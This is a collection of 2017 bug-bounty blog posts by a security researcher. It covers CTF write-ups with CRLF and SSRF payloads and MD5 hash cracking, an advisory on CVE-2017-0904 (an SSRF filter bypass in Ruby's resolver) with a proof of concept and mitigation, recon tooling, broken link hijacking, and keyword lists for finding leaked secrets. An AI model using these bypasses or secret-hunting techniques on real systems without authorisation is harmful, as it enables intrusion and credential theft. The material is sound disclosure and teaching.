{% raw %}FLAG: CF,2dsV\/]fRAYQ.TDEp`w"M(%mU;p9+9FD{Z48X*Jtt{%vS($g7\S):f%=P[Y@nka=<tqhnF<aq=K5:BC@Sb*{[%z"+@yPb/nfFna<e$hv{p8r2[vMMF52y:z/Dh;{6{% endraw %}

Comparing my solution to those of other competitors

After submitting the flag to HackerOne, I helped some fellow competitors get back on track and even offered to review their write-ups. The beauty in doing this is not only do you build friendships with fellow researchers, you get some insight into the areas that other people might have struggled with. Interestingly, the CRLF step could have been solved in various ways. To give the reader a better idea of these CRLF payloads I have put together this section containing the payloads that impressed me including my basic descriptions.

@TomNomNom
-----------
Payload: localhost:1337/flag\u000a212.something.com
Description: Tom demonstrated that it was possible to accomplish the same solution as I had arrived to by simply using the Unicode value. I had come across this while playing around with different encodings of # as mentioned in section 6.

@Alyssa_Herrera_ & @streaak
----------------------------
Payload: 212.\nlocalhost:80\n.com & 212\n127.0.0.1\n.com respectively.
Description: These particular CRLF payloads caught me by surprise. I had not thought of simply surrounding the vital part of the URL with line feed characters.

Conclusion - What did I learn?

This CTF really taught me the importance of chaining issues in order to increase the impact. Looking back, any of these steps could have been present in a real-world hacking scenario and had I stopped at any point I would have missed out on a great opportunity and reward.
The challenges also taught me that it never hurts to ask for a little nudge if you are stuck somewhere. This is especially important when it comes to bug bounty hunting. We should be able to figure out most things on our own to some degree, but do not be afraid to ask someone for help when all else fails.
Read everything very carefully. Although I learned this during the last CTF, I was reminded of the importance of taking notes of details again during this CTF.
Remember to take a break once in a while. It is amazing what you can achieve when you get back on track after taking break and getting some rest.
Take notes! That way when you go down the wrong path, you can easily work your way back to where you left off. I went down many paths and every time I would take notes of what my thought process was. This was also especially helpful when writing this document.
This CTF also gave me an opportunity to use my newly acquired skills from Jobert’s previous CTF and put them to the test. This indicates that I am improving and learning as I go along.

References

[1] [Photograph by USA Network/NBCU]. (n.d.). Retrieved November 19, 2017, from http://www.usanetwork.com/mrrobot

[2] It’s Always Sunny In Philadelphia. (n.d.). FXX. Retrieved November 19, 2017.

[3] Pai, R. (2014, April 16). Reflected File Download attack allows attacker to ‘upload’ executables to hackerone.com domain. Retrieved November 19, 2017, from https://hackerone.com/reports/50658

[4] Be More Tea [Photograph]. (2017, November 19). Lipton/Disney.

[5] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.

[6] [Photograph]. (n.d.). HackerOne, Inc.

[7, 8, 9] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.

Bypassing Server-Side Request Forgery filters by abusing a bug in Ruby's native resolver

contact@edoverflow.com (EdOverflow) — Thu, 09 Nov 2017 00:00:00 +0000

Summary

This is a security advisory for a bug that I discovered in Resolv::getaddresses that enabled me to bypass multiple Server-Side Request Forgery filters. Applications such as GitLab and HackerOne were affected by this bug. The disclosure of all reports referenced in this advisory follow HackerOne’s Vulnerability Disclosure Guidelines.

This bug was assigned CVE-2017-0904.

Vulnerability Details

Resolv::getaddresses is OS-dependent, therefore by playing around with different IP formats one can return blank values. This bug can be abused to bypass exclusion lists often used to protect against SSRF.

💻 Machine 1	💻 Machine 2
ruby 2.3.3p222 (2016-11-21) [x86_64-linux-gnu]	ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu]

💻 Machine 1

irb(main):002:0> Resolv.getaddresses("127.0.0.1")
=> ["127.0.0.1"]
irb(main):003:0> Resolv.getaddresses("localhost")
=> ["127.0.0.1"]
irb(main):004:0> Resolv.getaddresses("127.000.000.1")
=> ["127.0.0.1"]

💻 Machine 2

irb(main):008:0> Resolv.getaddresses("127.0.0.1")
=> ["127.0.0.1"]
irb(main):009:0> Resolv.getaddresses("localhost")
=> ["127.0.0.1"]
irb(main):010:0> Resolv.getaddresses("127.000.000.1")
=> [] # 😱

This issue is reproducible in the latest stable build of Ruby:

$ ruby -v
ruby 2.4.3p201 (2017-10-11 revision 60168) [x86_64-linux]
$ irb
irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> Resolv.getaddresses("127.000.001")
=> []

Proof of concept

irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> uri = "0x7f.1"
=> "0x7f.1"
irb(main):003:0> server_ips = Resolv.getaddresses(uri)
=> [] # The bug!
irb(main):004:0> blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
=> ["127.0.0.1", "::1", "0.0.0.0"]
irb(main):005:0> (blocked_ips & server_ips).any?
=> false # Bypass

Root cause

The following section describes the root cause of this bug. I have added some comments in the code snippets to help the reader follow along.

When we run irb in debug mode (irb -d) the following error is returned:

irb(main):002:0> Resolv.getaddresses "127.1"
Exception `Resolv::DNS::Config::NXDomain' at /usr/lib/ruby/2.3.0/resolv.rb:549 - 127.1
Exception `Resolv::DNS::Config::NXDomain' at /usr/lib/ruby/2.3.0/resolv.rb:549 - 127.1
=> []

So the exception stems from fetch_resource() ^[1]. The “NXDOMAIN” response indicates that the resolver cannot find a corresponding PTR record. No surprise there, since, as we will see later on, resolv.rb uses the operating system’s resolver.

# Reverse DNS lookup on 💻 Machine 1.
$ nslookup 127.0.0.1
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
1.0.0.127.in-addr.arpa name = localhost.

Authoritative answers can be found from:

$ nslookup 127.000.000.1
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
Name: 127.000.000.1
Address: 127.0.0.1

# NXDOMAIN for 127.1.
$ nslookup 127.1
Server: 127.0.0.53
Address: 127.0.0.53#53

** server can't find 127.1: NXDOMAIN

Now the following code snippets demonstrate why Resolv::getaddresses is OS-dependent.

getaddresses takes the address (name) and passes it on to each_address where once it has been resolved it is appended to the ret array.

# File lib/resolv.rb, line 100
def getaddresses(name)
 # This is the "ret" array.
 ret = []
 # This is where "address" is appended to the "ret" array.
 each_address(name) {|address| ret << address}
 return ret
end

each_address runs the name through @resolvers.

# File lib/resolv.rb, line 109
def each_address(name)
 if AddressRegex =~ name
 yield name
 return
 end
 yielded = false
 # "name" is passed on to the resolver here.
 @resolvers.each {|r|
 r.each_address(name) {|address|
 yield address.to_s
 yielded = true
 }
 return if yielded
 }
end

@resolvers is initialised in initialize().

# File lib/resolv.rb, line 109
def initialize(resolvers=[Hosts.new, DNS.new])
 @resolvers = resolvers
end

Further on, initialize is actually initialised by setting config_info to nil which uses the default configuration in this case /etc/resolv.conf.

# File lib/resolv.rb, line 308
# Set to /etc/resolv.conf ¯\_(ツ)_/¯
def initialize(config_info=nil)
 @mutex = Thread::Mutex.new
 @config = Config.new(config_info)
 @initialized = nil
end

Here is the default configuration:

# File lib/resolv.rb, line 959
def Config.default_config_hash(filename="/etc/resolv.conf")
 if File.exist? filename
 config_hash = Config.parse_resolv_conf(filename)
 else
 if /mswin|cygwin|mingw|bccwin/ =~ RUBY_PLATFORM
 require 'win32/resolv'
 search, nameserver = Win32::Resolv.get_resolv_info
 config_hash = {}
 config_hash[:nameserver] = nameserver if nameserver
 config_hash[:search] = [search].flatten if search
 end
 end
 config_hash || {}
end

This demonstrates that Resolv::getaddresses is OS-dependent and that getaddresses returns an empty ret array when supplied with an IP address that fails during a reverse DNS lookup.

Mitigation

I suggest staying away from Resolv::getaddresses altogether and using the Socket library.

irb(main):002:0> Resolv.getaddresses("127.1")
=> []
irb(main):003:0> Socket.getaddrinfo("127.1", nil).sample[3]
=> "127.0.0.1"

The Ruby Core dev team suggested using the same library.

The right way to check an address is using OS's resolver instead of resolv.rb if the address is resolved by OS's resolver. For example, Addrinfo.getaddrinfo of socket library can be used.
- Tanaka Akira

% ruby -rsocket -e '
as = Addrinfo.getaddrinfo("192.168.0.1", nil)
p as
p as.map {|a| a.ipv4_private? }
'
[#<Addrinfo: 192.168.0.1 TCP>, #<Addrinfo: 192.168.0.1 UDP>, #<Addrinfo: 192.168.0.1 SOCK_RAW>]
[true, true, true]

Affected Applications and gems

GitLab Community Edition and Enterprise Edition

Link to report: https://hackerone.com/reports/215105

The fix for Mustafa Hasan’s report (!17286) could be easily bypassed by abusing this bug. GitLab introduced an exclusion list, but would resolve the user-supplied address using Resolv::getaddresses and then compare the output to the values in the exclusion list. This meant that one could no longer use certain addresses such as http://127.0.0.1 and http://localhost/, which Mustafa Hasan used in the original report. The bypasses allowed me to scan a GitLab intance’s internal network.

GitLab have provided a patch: https://about.gitlab.com/2017/11/08/gitlab-10-dot-1-dot-2-security-release/.

private_address_check by John Downey

Link to report: https://github.com/jtdowney/private_address_check/issues/1

private_address_check is a Ruby gem that helps prevent SSRF. The actual filtering takes place in lib/private_address_check.rb. The process starts by attempting to resolve the user-supplied URL with Resolv::getaddresses and then compares the returned value with a the values in the blacklist. Once again I was able to use the same technique as before with GitLab to bypass this filter.

# File lib/private_address_check.rb, line 32
def resolves_to_private_address?(hostname)
 ips = Resolv.getaddresses(hostname)
 ips.any? do |ip|
 private_address?(ip)
 end
end

Consequently, HackerOne was affected by this bypass, because they use the private_address_check gem to prevent SSRF on the “Integrations” panel: https://hackerone.com/{BBP}/integrations.

Unfortunately, I was unable to exploit this SSRF and therefore the issue only consisted of a filter bypass. HackerOne still encouraged me to report it, because they take any potential security issue into consideration and this bypass demonstrated a potential risk.

This issue was patched in version 0.4.0.

Unaffected applications and gems

ssrf_filter by Arkadiy Tetelman

This gem is not vulnerable, because it checks if the value returned is empty.

# File lib/ssrf_filter/ssrf_filter.rb, line 116
raise UnresolvedHostname, "Could not resolve hostname '#{hostname}'" if ip_addresses.empty?

irb(main):001:0> require 'ssrf_filter'
=> true
irb(main):002:0> SsrfFilter.get("http://127.1/")
SsrfFilter::UnresolvedHostname: Could not resolve hostname '127.1'
 from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:116:in `block (3 levels) in <class:SsrfFilter>'
 from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:107:in `times'
 from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:107:in `block (2 levels) in <class:SsrfFilter>'
 from (irb):2
 from /usr/bin/irb:11:in `<main>'

faraday-restrict-ip-addresses by Ben Lavender

This gem uses Addrinfo.getaddrinfo as recommended by the Ruby Code dev team.

# File lib/faraday/restrict_ip_addresses.rb, line 61
def addresses(hostname)
 Addrinfo.getaddrinfo(hostname, nil, :UNSPEC, :STREAM).map { |a| IPAddr.new(a.ip_address) }
 rescue SocketError => e
 # In case of invalid hostname, return an empty list of addresses
 []
end

Conclusion

The author would like to acknowledge the help provided by Tom Hudson and Yasin Soliman during the discovery of the bug.

Both John Downey and Arkadiy Tetelman were extremely responsive. John Downey was able to immediately provide a patch, and Arkadiy Tetelman helped me figure out why their gem was not affected by the issue.

Finally, whatever you do, please do not view the source code of this write-up.

Update (Friday, 10 November 2017): I expanded the “Root cause” section in order to better explain the actual issue.

A lightweight reconnaissance setup for bug bounty hunters

contact@edoverflow.com (EdOverflow) — Sun, 29 Oct 2017 00:00:00 +0000

The following is a lightweight reconnaissance setup that should help you quickly gather information on a given target. We will run through the basic installation steps and then take a look at how to use this setup while hunting.

Please keep in mind that there are hundreds of tools out there and there is no way they could all be included in this write-up. This write-up is targeted towards people getting started or for those that want a simple setup. The author assumes that the reader already has a basic understanding of how to use a terminal. If not, the reader may want to start with https://linuxjourney.com/ before reading on.

Sublist3r

📀 Installation

$ git clone https://github.com/aboul3la/Sublist3r.git
$ cd Sublist3r
$ sudo pip install -r requirements.txt

💬 Aliases

alias sublist3r='python /path/to/Sublist3r/sublist3r.py -d '

alias sublist3r-one=". <(cat domains | awk '{print \"sublist3r \"$1 \" -o \" $1 \".txt\"}')"

dirsearch

📀 Installation

$ git clone https://github.com/maurosoria/dirsearch.git
$ cd dirsearch/db
$ wget https://gist.githubusercontent.com/EdOverflow/c4d6d8c43b315546892aa5dab67fdd6c/raw/7dc210b17d7742b46de340b824a0caa0f25cf3cc/open_redirect_wordlist.txt

💬 Aliases

alias dirsearch='python3 /path/to/dirsearch/dirsearch.py -u '

alias dirsearch-one=". <(cat domains | awk '{print \"dirsearch \"\$1 \" -e *\"}')"

alias openredirect=". <(cat domains | awk '{print \"dirsearch \"\$1 \" -w /path/to/dirsearch/db/open_redirect_wordlist.txt -e *\"}')"

webscreenshot

📀 Installation

Make sure to install PhantomJS too.

$ git clone https://github.com/maaaaz/webscreenshot.git

Steps to take when approaching a target

Verify target’s scope (*.example.com);
Run Sublist3r on example.com and output all findings to a file called output:

$ sublist3r example.com -o output
...
$ cat output
foo.example.com
bar.example.com
admin.example.com
dev.example.com
www.example.com
git.example.com

Check which domains resolve:

$ while read domain; do if host "$domain" > /dev/null; then echo $domain; fi; done < output >> domains

Run webscreenshot on the domains file:

$ python webscreenshot.py -i domains output example
...
$ eog example

💡 Tip: Look for 404 pages, login panels, directory listings and old-looking pages when reviewing the screenshots.

Run dirsearch on the domains file:

$ dirsearch-one

Check for open redirects using dirsearch on the domains file:

$ openredirect

📝 Exercises

The following tasks are left as exercises for the reader:

Write a shell script that performs the entire process when supplied with a single domain (example.com).
Practice going through the process by picking a couple bug bounty programs on HackerOne and Bugcrowd.

Conclusion

The author would like to acknowledge the help provided by @TomNomNom. The cover image is by João Silas.

Broken Link Hijacking - How expired links can be exploited

contact@edoverflow.com (EdOverflow) — Sun, 03 Sep 2017 00:00:00 +0000

Broken Link Hijacking (BLH) exists whenever a target links to an expired domain or page. Broken Link Hijacking comes in two forms, reflected and stored. This issue has been exploited in the wild numerous times, but surprisingly few researchers actively look for broken links in bug bounty programs.

This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.

Notice from author (Feb, 2022)

This is the original blog post which described Broken Link Hijacking for the first time. Since initial publication, many bug bounty hunters have referenced this blog post when reporting broken social media links to bug bounty programmes. The author of this blog post advises against this behaviour and would encourage readers to focus on the more impactful attack vectors described in this blog post.

Stored Broken Link Hijacking

External JS File Hijacking

If a target has an external JS file and that domain/page is expired, you can claim it and then you essentially have stored XSS.

Say for instance example.edu has an external JS file hosted on example.com and example.com has expired.

<!DOCTYPE html>
<html>
 <head>
 <meta charset="utf-8" />
 <meta name="viewport" content="width=device-width" />
 <title>Broken Link Hijacking</title>
 </head>
 <body>
 <script src="//example.com/script.js"></script>
 </body>
</html>

Now you can takeover example.com and can control the JS file on example.edu.

Information Leakage

Hijacking broken links which are missing the rel="noopener noreferrer" attribute could leak information to the attacker-controlled page. [1]

Also sometimes companies still link to expired analytics pages. If the attacker can hijack that expired page, they can monitor traffic and possibly gather valuable information about the target’s users. Someone actually once found one of these on Gratipay’s program: https://hackerone.com/reports/111078.

Content Hijacking

An attacker can hijack the content of a page by taking over the expired domain/page. A good example of this can be seen in @MisterCh0c’s blog post “How I hijacked top celebrities tweets including Katy Perry, Shakira…”.

Reflected Broken Link Hijacking

You know that feeling when you think you have reflected XSS, but cannot break out of the href or src attributes?

If the link is a CDN or a file hosting service, you can construct a malicious link and host that file on the service. Admittedly, these are very rare, but definitely something to keep in mind in case you come across this issue in the future.

Example Scenario

http://example.edu/?version=1.0.0 returns a specific version of the JS file being hosted on cdn.example.

<!-- http://example.edu/?version=1.0.0 -->
<!DOCTYPE html>
<html>
 <head>
 <meta charset="utf-8" />
 <meta name="viewport" content="width=device-width" />
 <title>Broken Link Hijacking</title>
 </head>
 <body>
 <script src="//cdn.example/1.0.0/script.js"></script>
 </body>
</html>

cdn.example allows us to add our project and host a malicious JS file.

<!-- http://example.edu/?link=maliciouspath -->
<!DOCTYPE html>
<html>
 <head>
 <meta charset="utf-8" />
 <meta name="viewport" content="width=device-width" />
 <title>Broken Link Hijacking</title>
 </head>
 <body>
 <script src="//cdn.example/maliciouspath/script.js"></script>
 </body>
</html>

References

[1] GitHub. (2017). cure53/HTTPLeaks. [online] Available at: https://github.com/cure53/HTTPLeaks [Accessed 3 Sep. 2017].

On-platform GitHub Reconnaissance

contact@edoverflow.com (EdOverflow) — Thu, 31 Aug 2017 00:00:00 +0000

Note: Please keep in mind, that all of this does not work if you are not signed in to GitHub.

When searching for issues related to a target I often like to quickly look up their GitHub organization on Google.

So let’s say Gratipay says nothing about being open source. A quick Google “Gratipay GitHub” should return Gratipay’s org page on GitHub.

Then from there I am going to check what repos actually belong to the org and which are forked. You can do this by selecting the Type: dropdown on the right hand side of the page.

Set it to Sources.

Otherwise just add the &type=source param. (https://github.com/gratipay?utf8=%E2%9C%93&q=&type=source)

Now, I am going to take a look at the different languages that the projects are written in. My favourite language is Python so I might start focusing on Python projects, but for recon I will mostly just keep note of the different languages.

On Gratipay most projects are written in Python.

noted

After that I will start using the GitHub search bar to look for specific keywords.

org:gratipay hmac

There are 4 main sections to look out for here.

Repositories is nice for dedicated projects related to the keyword. For example, if the keyword is “password manager”, I might find they are building a password manager.
Code is the big one. You can search for classic lines of code that cause security vulnerabilities across the whole organization.
Commits is not usually my favourite area to look at manually, but if I see a low number I might have a quick look.
Issues this is the second biggest and will help you all with your recon. This is the gold mine.

Companies share so much information about their infrastructure in issue discussions and debates. Look for domains and subdomains in those tickets.

Chris: “Oh, hey John. We forgot to add this certificate to this domain: vuln.example.com.”

noted

Classic Chris.

Sometimes I even find team members referencing actual theoretical security issues that they are unable to exploit. Try exploiting them or keep note, as the same issue might affect another endpoint.

Also trust me when I say I have seen people talking about actual vulns on GitHub issues and forgetting about them.

Submit domains as your search query. Issues will sometimes discuss technical stuff related to that domain.

“Oh, that thing is running NodeJS. Yeah, it’s old and broken.”

noted

Next look at org member’s projects. They might reveal more info too. I know that if you check Gratipay, you will see we all work on different projects and come from different backgrounds. This can help when understanding who plays what role in a discussion on GitHub issues.

Finally, this is a fun one and I keep on finding issues like this. Check the blame and history of a file. You will see how the code developed and what the developers were thinking as they went along.

There you go. Hopefully, this helps with your recon. 😄

Capture the flag: reversing the passwords (Solutions)

contact@edoverflow.com (EdOverflow) — Wed, 09 Aug 2017 00:00:00 +0000

Step 1 - Recovering the corrupted data

According to the doc, the following stream is corrupted:

7b 0a 20 a0 22 65 76 e5
6e 74 22 ba 20 22 70 e1
73 73 77 ef 72 64 5f e3
68 61 6e e7 65 22 2c 8a
20 20 22 f5 73 65 72 ee
61 6d 65 a2 3a 20 22 e2
63 6f 6c ec 69 6e 22 ac
0a 20 20 a2 6f 6c 64 df
70 61 73 f3 77 6f 72 e4
22 3a 20 a2 3a 5c 78 c3
37 5c 78 c6 34 5c 6e dc
78 41 46 a9 29 37 43 dc
78 31 35 dc 78 44 30 dc
78 46 33 dc 78 44 45 e9
55 3b 22 ac 0a 20 20 a2
6e 65 77 df 70 61 73 f3
77 6f 72 e4 22 3a 20 a2
39 5c 78 c6 41 5c 78 b9
39 5c 78 c3 41 5c 78 c5
44 5c 78 c6 32 58 53 c7
5c 78 44 c4 2d 5c 78 c3
32 5c 78 b8 45 7a 48 eb
22 2c 0a a0 20 22 74 e9
6d 65 73 f4 61 6d 70 a2
3a 20 31 b5 30 31 38 b5
38 38 36 b0 30 30 30 8a
7d 0a

Running xxd -r -p we can see that individual characters are readable and some are not.

The readable ones help us figure out what we need to change and bit-by-bit, while playing around we start noticing a clear pattern.

▶ hex(0xE5 ^ 0x80)
'0x65'

Admittedly, figuring out the pattern took a bit of trial and error, but eventually I constructed the following:

{
 "event": "password_change",
 "username": "bcollin",
 "old_password": ":\xC7\xF4\n\xAF))7C\x15\xD0\xF3\xDEiU;",
 "new_password": "9\xFA\x)9\xCA\xED\xF2XSG\xDD-\xC2\x8EzHk",
 "timestamp": 1501858860000
}

What I found out later (I will explain this in more detail later) is that the username and the timestamp were only really there to verify the data after I had fixed it.

Step 2 - Gibberish to hash

The old_password hash was already escaped, so I could make it readable as follows:

▶ ':\xC7\xF4\n\xAF))7C\x15\xD0\xF3\xDEiU;'.encode('hex')
'3ac7f40aaf2929374315d0f3de69553b'

The second one required a bit more work, but eventually I got there:

▶ '\x39\xFA\x99\xCA\xED\xF2\x58\x53\x47\xDD\x2D\xC2\x8E\x7A\x48\x6B'.encode('hex')
'39fa99caedf2585347dd2dc28e7a486b'

The doc states that a hashing algorithm was used to make recovery harder. By measuring the length of the hashes we can assume that MD5 was used to store the passwords, which we will later see is an insecure method to store passwords.

▶ len(':\xC7\xF4\n\xAF))7C\x15\xD0\xF3\xDEiU;'.encode('hex'))
32

Step 3 - “Reversing” the hashes

This is the part where I needed Jobert’s help. There were two vital moments that allowed me to figure out the solution. As you may know reversing a hash in a technological sense is impossible, since hashing algorithms are one-way functions. In order to get to the passwords you would need to crack the hashes first. I attempted this to no avail. Trust me, I tried everything. Aside from running cracking software, I hashed every single word in the doc and looked up keywords to find more keywords that could be linked to the password. This is where I started looking up Barry Collin and trying to figure out a possible hint. Yes, I assumed this CTF would be another Cicada 3301! Finally, after hours of hard work, one simple little mistake by Jobert made me focus on something else and slowly get to the solution: Jobert accidentally got Barry’s name wrong and called him Brian.

This is when I jumped back to the “reversing” aspect of things. This was the final moment when Jobert helped me with a final hint.

This was the lightbulb moment. I did not have to crack the hashes as is, I had to literally reverse the strings:

▶ old_password = '3ac7f40aaf2929374315d0f3de69553b'[::-1]
▶ new_password = '39fa99caedf2585347dd2dc28e7a486b'[::-1]
▶ print(old_password)
b35596ed3f0d5134739292faa04f7ca3
▶ print(new_password)
b684a7e82cd2dd7435852fdeac99af93

Step 4 - Cracking the hashes

Now finally, the fun part!

The old_password hash was md5(md5).

$ python pybozocrack.py -s b35596ed3f0d5134739292faa04f7ca3
b35596ed3f0d5134739292faa04f7ca3:2a9d119df47ff993b662a8ef36f9ea20
$ python pybozocrack.py -s 2a9d119df47ff993b662a8ef36f9ea20
2a9d119df4ff993b662a8ef36f9ea20:p4ssw0rd

The new_password required the use of Crackstation:

b684a7e82cd2dd7435852fdeac99af93 - md5(md5) - thisiscrazy

What did I learn?

The most secure method of password storage, which will keep hackers busy is simply reversing an MD5 hash. 😛

GitHub for Bug Bounty Hunters

contact@edoverflow.com (EdOverflow) — Tue, 08 Aug 2017 00:00:00 +0000

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target’s repositories so that you can run your tests locally. I would highly recommend @mazen160’s GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

Static Analysis

When it comes to static analysis it is very important to start by actually understanding the project you are targeting. Run the project and use the main features. I call this the “Jobert step”, because I have heard that Jobert spends the first 30 minutes of every hunt using the project and understanding the target before finding vulnerabilities.

Manual analysis

This is where the “learn to make it, then break it” mentality comes into play. If you can familiarize yourself with a programming language, you should know the ins and outs of what to do and what not to do in terms of security.

Once you understand the target and its architecture, you can start grepping! Search for keywords that you are interested in, understand best or know that developers tend to mess up. Here is a basic list of some of the keywords I will look for during a general first assessment:

API and key. (Get some more endpoints and find API keys.)
token
secret
TODO
password
vulnerable 😜
http:// & https://

Then I will focus on terms that make me smile when developers mess things up:

CSRF
random
hash
MD5, SHA-1, SHA-2, etc.
HMAC

When you get used to certain vulnerability types, you will start knowing exactly what to look for in a specific language. So for instance, when I want to find a timing leak in Java, I know that Arrays.equals() and HMAC combined causes that issue.

Another vital step is to look through the commit history. You will be amazed at the amount of information you can gather from commits. Sometimes I see contributors thinking they have removed credentials, when they stay in the commit history. I have come across old endpoints that still work thanks to the git history. Aside from current issues, you might discover past issues that could potentially be bypassed thanks to old commits.

Tools

Sometimes automating the boring tasks can help give you a basic overview of what to look for. It is important to note, that you should never copy and paste findings from scanners into your reports. You will get a lot of false positives, therefore you must always look into the possible issue manually to ensure exploitability.

When I target Python projects, the main tool that I use is Bandit. Bandit will find common issues, but will often return low hanging fruit or false positives. So be careful when using it. It should definitely not be relied on.

$ bandit -r path/to/your/code -ll

If you want to find outdated Python modules in a project, paste the contents of the requirements.txt in https://pyup.io/tools/requirements-checker/. This will show you if there were any security issues in the specified version of the module.

Snyk.io is a wonderful tool for checking dependencies. The platform supports a wide variety of languages.

For recon, many researchers suggest using Gitrob. This tool will look for sensitive information in public GitHub repositories.

$ gitrob analyze acme,johndoe,janedoe

For finding high entropy strings (API keys, tokens, passswords, etc.), you can use truffleHog.

$ truffleHog https://github.com/dxa4481/truffleHog.git

If you are looking for an all-in-one secrets finder, git-all-secrets by @anshuman_bh is the tool for you. This tool combines multiple open source secrets finders into one big tool.

For Ruby on Rails apps, I recommend Brakeman. Brakeman is a static analysis security scanner that can find a ton of various security issues in code.

Use LinkFinder by Gerben Javado to find endpoints in the JS files of the repository.

$ python linkfinder.py -i 'path/to/your/code/*.js' -r ^/api/ -o cli

OK, seriously do not social engineer the project owners.

Reporting your Findings

As always when it comes to bug bounty hunting, read the program’s policy thoroughly. Very rarely does a program accept reports through GitHub. Contact the security team or if possible use a bug bounty platform such as HackerOne or Bugcrowd.

On a side note, a cool thing about white-box testing is that since you have access to the code it can be easier to suggest a fix or submit a patch. 😉

Bug Bounty FAQ

contact@edoverflow.com (EdOverflow) — Sat, 22 Jul 2017 00:00:00 +0000

A list of questions that bug bounty hunters frequently DM me about. 😄

How do I get started with bug bounty hunting? How do I improve my skills?

I have a simple philosophy that I share with everyone:

Learn to make it. Then break it!
Read books. Lots of books.
Join discussions and ask questions.
Participate in open source projects. Learn to code.
Smile when you get feedback and use it to your advantage.
Help others. If you can teach it, you have mastered it.

What tools should I use?

https://bugbountyforum.com/tools/

What platforms should I use?

How should I learn to code?

Get familiar with Python first: https://learnpythonthehardway.org/.

Web Hacking 101 by Peter Yaworski.
Breaking into Information Security: Learning the Ropes 101 by Andy Gill.
The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard and Marcus Pinto.
Crypto 101 by Laurens Van Houtven.

Where can I get in touch with fellow researchers?

What does a good report look like?

Depending on what platform/program you are working on there will be different requirements, but in general the following report by Eugene Farfel is very well written: https://hackerone.com/reports/115748.

Is it worth reporting XYZ?

Read the program’s scope. If they do not explicitly request that type of issue, then I would not waste your time reporting it unless you believe the issue has a significant impact on the target.

What is the best bug bounty program?

The best program understands that they must work together with the researcher and not against them. Bug bounties should be a joint effort.

Is it illegal to do XYZ?

Lookup the corresponding regulations in order to prevent getting into trouble.

What is it like to run a bug bounty program?

Actually it is a lot of fun. I really look forward to the next report all the time and I am continuously amazed by some of the fantastic findings that researchers report. Admittedly, I do have to deal with a bit of noise, but the good reports compensate for the bad ones.

How did you get to run a company’s program?

They appreciated my report: https://hackerone.com/reports/190373.